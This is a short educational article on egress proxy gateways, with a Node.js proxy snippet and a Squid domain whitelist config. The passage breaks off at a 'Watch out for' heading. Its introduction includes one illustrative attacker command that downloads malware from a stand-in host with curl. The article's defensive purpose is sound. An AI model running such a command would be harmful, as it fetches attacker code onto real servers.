Egress Proxy Gateway

Controlling what your servers are allowed to talk to on the internet.

The idea

By default, if an attacker hacks your web server via a vulnerability, they can run a command to download more malware (e.g., curl http://evil-hacker.com/malware.sh), or upload your entire database to their server. To stop this, highly secure architectures block all outbound ("Egress") internet access from their servers. To allow the server to still talk to legitimate 3rd party APIs (like Stripe or Twilio), you route all outbound traffic through an Egress Proxy Gateway (like Squid or Envoy) which acts as a strict whitelist.

Step 1: A standard network. The server can talk to Stripe, but also to Evil.com.

How it works (Proxy Whitelists)

The Application Server is placed in a Private Subnet with zero internet access. Instead, you configure your application's HTTP Client to route requests through a Forward Proxy (the Gateway). The Proxy inspects the requested domain (using SNI in HTTPS) and checks it against a whitelist. If it's api.stripe.com, it forwards the traffic. If it's anything else, it blocks it.

# App Code (Node.js) - explicitly routing through the Egress Proxy
const HttpsProxyAgent = require('https-proxy-agent');
const agent = new HttpsProxyAgent('http://egress-gateway.internal:3128');

fetch('https://api.stripe.com/v1/charges', { agent });

# Egress Proxy Config (Squid proxy whitelist)
acl allowed_domains dstdomain .stripe.com
acl allowed_domains dstdomain .twilio.com

http_access allow allowed_domains
http_access deny all # Blocks malware downloads!

Cost

Egress Proxies add a single point of failure and a bottleneck for outbound traffic. If your Proxy goes down, your app can no longer process payments or send emails. It also creates a massive maintenance burden for developers, who now have to submit a ticket to the DevOps team every time they want to integrate a new 3rd party API.

Watch out for